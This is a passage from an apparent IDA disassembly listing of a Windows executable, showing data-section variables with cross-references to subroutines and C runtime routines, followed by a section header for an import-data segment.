sub_417676+110o ; sub_41BB84+43o ... ; void *dword_433C40 dword_433C40 dd 9B3990h ; DATA XREF: sub_417676+109r ; sub_417676+122r ... dword_433C44 dd 8 ; DATA XREF: sub_40121E+20r ; sub_40121E:loc_40127Bw ... dword_433C48 dd 0 ; DATA XREF: sub_40243A+Fo ; sub_413F8F+14o ... ; void *dword_433C4C dword_433C4C dd 9B3AA8h ; DATA XREF: sub_40243A:loc_402453r ; sub_40243A:loc_402462r ... dword_433C50 dd 0 ; DATA XREF: sub_4016BA+20r ; sub_4016BA:loc_401717w ... off_433C54 dd offset off_420AEC ; DATA XREF: sub_41C370+5Co ; sub_41C370+66w off_433C58 dd offset off_420AE4 ; DATA XREF: sub_41C370+40o ; sub_41C370+4Aw off_433C5C dd offset off_420B04 ; DATA XREF: sub_41C370+78o ; sub_41C370+82w off_433C60 dd offset off_420BC4 ; DATA XREF: sub_41C370+94o ; sub_41C370+9Ew off_433C64 dd offset off_420BCC ; DATA XREF: sub_41C370+B0o ; sub_41C370+BAw dword_433C68 dd 2080Ah ; DATA XREF: sub_41A9DE+4FDr ; sub_41C370+CEw off_433C6C dd offset off_420D24 ; DATA XREF: sub_41C370+F6o ; sub_41C370+100w off_433C70 dd offset off_420D2C ; DATA XREF: sub_41C370+112o ; sub_41C370+11Cw off_433C74 dd offset off_420D1C ; DATA XREF: sub_41C370+DAo ; sub_41C370+E4w dword_433C78 dd 1 ; DATA XREF: _ceilr ; __sse2_mathfcns_initw ... dword_433C7C dd 1 ; DATA XREF: unknown_libname_13+28r ; _memset+1Er ... dword_433C80 dd 0 ; DATA XREF: ___libm_error_support+34r dword_433C84 dd 20h ; DATA XREF: __ioinit+3Cw __ioinit+BFw ... dd 6 dup(0) dword_433CA0 dd 9B20B0h ; DATA XREF: __flsbuf+FDr ; ___initstdio+87r ... dd 3Fh dup(0) ; void *dword_433DA0 dword_433DA0 dd 9B3188h ; DATA XREF: ___initstdio+2Bw ; ___initstdio+44w ... dd 7 dup(0) dword_433DC0 dd 400h dup(0) ; DATA XREF: .data:off_423950o ; .data:00423958o dword_434DC0 dd 200h ; DATA XREF: ___initstdior ; ___initstdio:loc_4080A4w ... dword_434DC4 dd 0 ; DATA XREF: sub_407B65w dword_434DC8 dd 1 ; DATA XREF: __setenvp+B3w dword_434DCC dd 9B310Ch ; DATA XREF: __onexit_nolock+10r ; __onexit_nolock+9Bw ... dword_434DD0 dd 9B3100h ; DATA XREF: __onexit_nolock+5r ; __onexit_nolock+87w ... dword_434DD4 dd 1 ; DATA XREF: ___initmbctabler ; ___initmbctable+11w ... dword_434DD8 dd 0 ; DATA XREF: __cinit:loc_4079E2r ; __cinit+74o ... dword_434DDC dd 0 ; DATA XREF: ___sbh_heap_init+28w ; ___sbh_find_blockr ... dword_434DE0 dd 0 ; DATA XREF: ___sbh_heap_init+15w ; ___sbh_find_block+6r ... dword_434DE4 dd 0 ; DATA XREF: _V6_HeapAlloc+13r ; ___sbh_heap_init+36w ... dword_434DE8 dd 0 ; DATA XREF: ___sbh_heap_init+2Fw ; ___sbh_free_block+2FCw ... dword_434DEC dd 0 ; DATA XREF: ___sbh_heap_init+3Cw ; ___sbh_alloc_new_regionr ... dword_434DF0 dd 0 ; DATA XREF: ___sbh_free_block+229r ; ___sbh_free_block+249r ... dword_434DF4 dd 1 ; DATA XREF: __msize:loc_402A7Er ; _free+13r ... dword_434DF8 dd 152340h ; DATA XREF: ___tmainCRTStartup+113w ; __wincmdln:loc_40AB95r ... _data ends ; Section 5. (virtual address 0003D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0003D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 43D000h align 2000h _idata2 ends end $LN39